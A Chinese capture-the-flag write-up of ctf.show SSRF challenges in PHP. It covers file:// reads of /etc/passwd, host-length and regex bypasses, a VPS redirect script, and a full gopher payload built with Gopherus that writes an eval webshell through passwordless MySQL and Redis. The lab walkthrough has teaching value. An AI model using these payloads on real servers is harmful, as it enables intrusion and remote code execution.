本文探讨PHP环境下SSRF漏洞的高级利用,重点分析通过Gopher协议攻击内网未授权Redis服务的技术实现。详细阐述了构造RESP原生指令、规避解析过滤的二次URL编码机制,以及利用数据备份功能写入Webshell的底层逻辑。
文章目录
-
- SSRF介绍
-
- [什么是 SSRF(极简版)](#什么是 SSRF(极简版))
- [常见的 SSRF 攻击方法与 Payload 示例](#常见的 SSRF 攻击方法与 Payload 示例)
-
- [1. 探测与访问内网 (HTTP / HTTPS 协议)](#1. 探测与访问内网 (HTTP / HTTPS 协议))
- [2. 读取本地敏感文件 (`file:// 伪协议`)](#2. 读取本地敏感文件 (
file:// 伪协议)) - [3. 探测内网服务指纹 (`dict:// 伪协议`)](#3. 探测内网服务指纹 (
dict:// 伪协议))
- Web356
- Web357(新题型)
- Web358
- [Web359 --- 打无密码的mysql](#Web359 — 打无密码的mysql)
-
- 绕过原理
- 第一步:确定攻击目标与思路
- [第二步:生成 Gopher 格式的 MySQL Payload](#第二步:生成 Gopher 格式的 MySQL Payload)
- [第三步:处理 Payload 的 URL 编码](#第三步:处理 Payload 的 URL 编码)
- 第四步:发送攻击请求
- [Web360 --- 打redis](#Web360 — 打redis)
- 总结
SSRF介绍
这里为你把 SSRF 的概念进行了提炼,并结合你提供的图片 image_ff0ed6.png 中提到的进阶技巧,整理了常见的攻击方法与 Payload 示例。
什么是 SSRF(极简版)
- 核心概念:攻击者把存在漏洞的 Web 服务器当成"跳板",让它代替自己去向内网或本地系统发送请求。
- 为什么会发生 :服务端提供了"拉取外部网络资源"(如远程图片、Webhook)的功能,但没有对用户输入的 URL 进行严格检查。
- 能干什么 :突破防火墙。主要用于内网探活与端口扫描 、读取服务器本地文件 ,以及攻击内网中无密码的脆弱服务(如 Redis、MySQL)。
常见的 SSRF 攻击方法与 Payload 示例
不同的协议在 SSRF 中能发挥不同的作用。以下是按攻击深度递进的常见方法:
1. 探测与访问内网 (HTTP / HTTPS 协议)
- 原理解释:利用目标服务器作为代理,去访问其内网的 IP 或本地回环地址(127.0.0.1)。这可以用来寻找内网存活的主机、扫描开放的端口,或者绕过 IP 白名单访问仅限本地访问的后台。
bash
# payload
http://127.0.0.1:8080/admin
2. 读取本地敏感文件 (file:// 伪协议)
原理解释 :如果底层的网络请求库(如 cURL, file_get_contents)支持 file:// 协议,攻击者就可以直接让服务器读取自身的系统文件、配置文件或源代码。
bash
# payload
file:///etc/passwd
3. 探测内网服务指纹 (dict:// 伪协议)
原理解释 :dict:// 协议原本用于字典服务查询,但在 SSRF 中,它可以向任意端口发送请求并获取部分返回结果。常用来确认内网特定端口上运行的是什么服务(例如探测是否开放了 Redis)。
bash
# (如果目标服务器运行着无密码的 Redis,服务端会将其 info 信息返回给攻击者)
dict://127.0.0.1:6379/info
# 攻击内网脆弱服务 (gopher:// 伪协议)
# (注:实战中,攻击者通常会使用专门的工具(如 Gopherus)来一键生成针对 MySQL、Redis、FastCGI 等服务的复杂 Gopher Payload。)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
Web356
我们还是看一下代码:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
关键代码对比:
上一关:if((strlen($host)<=5))
本关:if((strlen($host)<=3))
简单解释:
本关进一步收紧了主机名(host)的长度限制,要求必须小于等于 3 个字符。这导致上一关使用的 http://127.1(host 长度为 5)被拦截失效。
绕过方法
只能使用最短的缺省 IP 写法,即传入 url=http://0(host 长度仅为 1)。在绝大多数 Linux 系统底层网络交互中,0 会被自动补全并解析为本地地址 0.0.0.0 或 127.0.0.1,从而完美绕过长度限制并触发 SSRF。
bash
url=http://0/flag.php

Web357(新题型)
本关终于变化了代码:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme
关键代码解释:
- ip = gethostbyname(x['host']);
提取主机名,并在服务器端进行一次 DNS 解析,获取其真实 IP 地址。 if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
使用 PHP 内置的filter_var函数进行严格校验。两个FILTER_FLAG参数的作用是彻底拉黑所有私有 IP(如局域网 192/10 网段)和保留 IP(如 127.0.0.1、0.0.0.0 等)。- 如果上一步的 IP 校验通过,则发起最终的网络请求获取数据。
绕过原理
题目使用的 file_get_contents() 函数在请求网络资源时,默认会自动跟随 HTTP 的 302 重定向 。
但是,代码前方的 gethostbyname() 和 filter_var() 仅仅对用户传入的初始 URL 的主机名进行了合法性校验,并没有防范跳转后的地址。利用这个逻辑漏洞即可实现绕过。
第一步:在 VPS 上部署恶意跳转脚本
使用你的公网 VPS(假设搭建了基础的 Nginx/Apache + PHP 环境),在网站根目录下创建一个文件,例如命名为 ssrf.php。
写入以下 PHP 重定向代码:
php
<?php
header("Location: http://127.0.0.1/flag.php");
?>
第二步:提交 Payload 发起攻击
回到靶场题目,提交你布置好脚本的 VPS 地址:
text
url=http://你的VPS公网IP/ssrf.php
执行过程
- 安全校验阶段 :代码解析出主机名为
你的VPS公网IP。gethostbyname返回该公网 IP。filter_var检查发现它是合法的公网地址,放行。 - 初始请求阶段 :
file_get_contents按照传入的 URL 请求你的 VPS。 - 跳转利用阶段(核心) :你的 VPS 返回了一个
HTTP 302 Found响应,告诉file_get_contents资源在[http://127.0.0.1/flag.php](http://127.0.0.1/flag.php)。 - 触发漏洞 :
file_get_contents自动跟随跳转,盲目地向本地的127.0.0.1发起了请求,最终将内网的 flag 内容读取并返回给你,完成 SSRF。
这里如果只返回ssrf.php的内容,而不是flag,说明"VPS上并没有安装PHP",需要执行以下命令:
bash
apt update
apt install php libapache2-mod-php -y
systemctl restart apache2
正确的现象是:访问ssrf.php文件后,你看不到这段代码了,浏览器地址栏会瞬间变成 127.0.0.1/flag.php(虽然页面会提示"无法连接",但这说明你的 VPS 成功发出了 302 跳转指令)
失败:

成功:

Web358
同理,查看代码:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
关键代码解释:
本关的核心代码是 if(preg_match('/^http:\/\/ctf\..*show$/i',$url))。
它使用正则表达式对用户提交的整个 URL 字符串进行严格的格式验证:
^http:\/\/ctf\.:限制 URL 必须以http://ctf.开头。.*:中间可以是任意字符。show$:限制 URL 必须以show结尾(/i表示不区分大小写)。
与上一关的对比与脆弱性:
- 区别 :上一关防御的核心是解析并验证底层的真实 IP 地址 (拦截内网 IP);而本关完全放弃了对 IP 和主机名的实际校验,退化为只对 URL 表面字符串的首尾特征进行正则死匹配。
- 脆弱性所在 :正则表达式只关注字符串长什么样,并不理解 URL 的网络协议结构。
file_get_contents函数支持标准的 URL 结构,包括身份验证(Userinfo)和参数片段(Query/Fragment)。
绕过思路
攻击者可以利用 URL 的基础语法格式 http://[用户名]:[密码]@[IP地址]/[路径]?[参数]#[锚点] 来完美拼凑出符合正则的字符串,同时让其真实访问本地目标。
例如,构造如下 Payload:
url=http://ctf.admin@127.0.0.1/flag.php?show
- 正则检查层面 :以
http://ctf.开头,以show结尾,完美符合正则要求,安全放行。 - 底层执行层面 :
file_get_contents会将其解析为访问主机127.0.0.1,路径为/flag.php,请求参数为show,并将ctf.admin作为无用的 HTTP Basic 认证账号忽略。最终成功发起对本地的内网请求。
bash
url=http://ctf.admin@127.0.0.1/flag.php?show

成功得到flag;
Web359 --- 打无密码的mysql
打无密码的mysql
这里我们打开网页,得到如下页面:

很明显是一个登陆界面;
随便输入账号密码,发现跳转到一个空白页面:

抓包试试:

这里我们将payload解码,发现并不是user 和pass参数,而是reurl参数(猜测与之前的url参数一样)
bash
u=admin&returl=https%3A%2F%2F404.chall.ctf.show%2F
# 解码后
https://404.chall.ctf.show/
绕过原理
第一步:确定攻击目标与思路
漏洞点:returl 参数接收外部 URL,存在 SSRF。
针对无密码的 MySQL 服务进行 SSRF 攻击,通常的核心思路是利用 Gopher 协议 构造原生的 MySQL 交互数据包,直接在目标内网执行 SQL 语句。
从提供的 HTTP 请求来看,注入点非常明显是 returl 参数。后端服务器很可能会去请求这个参数传入的 URL。
- 漏洞点 :
returl参数接收外部 URL,存在 SSRF。 - 攻击目标 :内网本地的 MySQL 服务(通常是
127.0.0.1:3306),且已知存在无密码的 root 用户。 - 利用协议 :
gopher://。因为 MySQL 协议是基于 TCP 的二进制协议,HTTP/HTTPS 协议无法发送纯净的二进制流,而 Gopher 协议可以通过_符号后接 URL 编码的数据,精确控制发送给目标端口的每一个字节。 - 攻击目的 :通常在 CTF 中,利用无密码 MySQL 拿 Flag 的最稳妥方式是通过 SQL 语句写一个 Webshell 到 Web 目录下,即利用
SELECT ... INTO OUTFILE。
第二步:生成 Gopher 格式的 MySQL Payload
这里我们用一下工具:
Gopherus
- 下载并运行 Gopherus:
bash
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
python gopherus.py --exploit mysql
- 按照提示输入参数:
- Username :
root(无密码的情况默认选 root) - Query : 输入你要执行的 SQL 语句。假设目标 Web 根目录是常见的
/var/www/html/,我们可以写入一句话木马:
bash
select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/shell.php";
- Gopherus 会生成一段类似这样的 Payload:
text
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%3f%20%00%00%00%01...(省略长串十六进制)
结果如下:

第三步:处理 Payload 的 URL 编码
这是最容易踩坑的一步。
Gopherus 生成的 payload 中本身已经包含了一次 URL 编码(比如 %a3)。但是,我们要把这串字符串作为 returl 的参数通过 POST 发送,后端的 PHP 环境(或者中间件)在接收到 POST 数据时,会自动进行一次 URL 解码。
bash
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01
如果直接发送 Gopherus 的原始输出,后端解码后,发给 curl 执行的 URL 就会变成乱码,导致攻击失败。
因此,必须对 Gopherus 生成的整个 gopher://... 字符串再进行一次 URL 编码。
编码前:
gopher://127.0.0.1:3306/_%a3%00...
编码后(再次 URL Encode):
gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500...
(注意:所有的 % 都变成了 %25)
第四步:发送攻击请求
将经过二次 URL 编码后的 payload 放入你抓到的那个 POST 请求包中执行:
http
POST /check.php HTTP/1.1
Host: e88543de-c1c2-48bf-8fb2-c3c9d625204b.challenge.ctf.show
...(省略其他头部)...
Content-Type: application/x-www-form-urlencoded
u=admin&returl=gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%25...(填入你二次编码后的完整payload)
成功发送payload:

发送请求后,如果目标内网的 MySQL 成功执行了语句,你就可以直接访问 https://e88543de-c1c2-48bf-8fb2-c3c9d625204b.challenge.ctf.show/shell.php,并使用密码 1 来连接你的 Webshell(比如使用蚁剑/冰蝎),从而获取服务器权限去读取真正的 flag;


在根目录下发现有flag.txt:
Web360 --- 打redis
打redis
还是老样子,看一看代码:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
怎么又变回了这种眉清目秀的感觉?
绕过思路
端口为6379同样操作就可以了:
bash
python gopherus.py --exploit redis
PHPshell
"<?php @eval($_POST[1]);?>"
结果如下:

同样需要将得到payload进行二次URL编码,再执行:


成功找到flag:

总结
本文探讨PHP环境下SSRF漏洞的高级利用,重点分析通过Gopher协议攻击内网未授权Redis服务的技术实现。详细阐述了构造RESP原生指令、规避解析过滤的二次URL编码机制,以及利用数据备份功能写入Webshell的底层逻辑。